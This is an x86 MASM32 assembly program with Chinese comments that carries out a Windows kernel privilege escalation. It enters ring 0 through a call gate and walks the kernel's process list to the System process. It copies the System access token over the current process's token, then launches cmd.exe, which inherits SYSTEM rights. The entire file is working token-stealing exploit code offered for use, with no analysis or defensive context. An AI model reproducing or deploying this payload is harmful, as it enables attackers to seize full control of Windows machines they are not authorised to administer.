;NE365 shadow3
.386
.model flat,stdcall
option casemap:none
include d:/masm32/include/windows.inc
include d:/masm32/include/kernel32.inc
include d:/masm32/include/user32.inc
includelib d:/masm32/lib/kernel32.lib
includelib d:/masm32/lib/user32.lib
.data
CallSel dd 0
dw 103h
pi PROCESS_INFORMATION <>
stStartup STARTUPINFOA <>
szToken db '当前system进程令牌为0x%08x',0
szBuffer db 512 dup(0)
;DEBUG equ 1
.code
start:
call fword ptr [CallSel]
;进入ring0,查找system进程
;使用PCR定位到KTEB
mov eax,0FFDFF124h ;eax->KTEB
mov eax,[eax];定位到KTEB
IFDEF DEBUG
jmp @CallExit
ENDIF
mov esi,[eax+044h] ;定位到KPEB
mov eax,esi
@search:
mov eax,[eax+0a0h]
sub eax,0a0h
mov edx,[eax+09ch]
cmp edx,08h ;判断是否是system进程
jne @search
mov eax,[eax+012ch] ;获取system进程的token
mov [esi+012ch],eax ;修改当前进程的token
@CallExit:
;准备返回ring3
mov ebx,@F
push ebx
retf
@@:
push eax
push offset szToken
push offset szBuffer
call wsprintf
push 0
push 0
push offset szBuffer
push 0
call MessageBox
;本进程令牌已经更改,创建一个子进程,继承进程令牌
lea ebx,stStartup
call GetStartupInfo
lea ebx,pi
push ebx
lea ecx,stStartup
push ecx
push 0
push 0
push 0
push TRUE
push 0
push 0
call szCmd
db 'cmd.exe',0
szCmd:
push 0
call CreateProcess
push 0
call ExitProcess
end start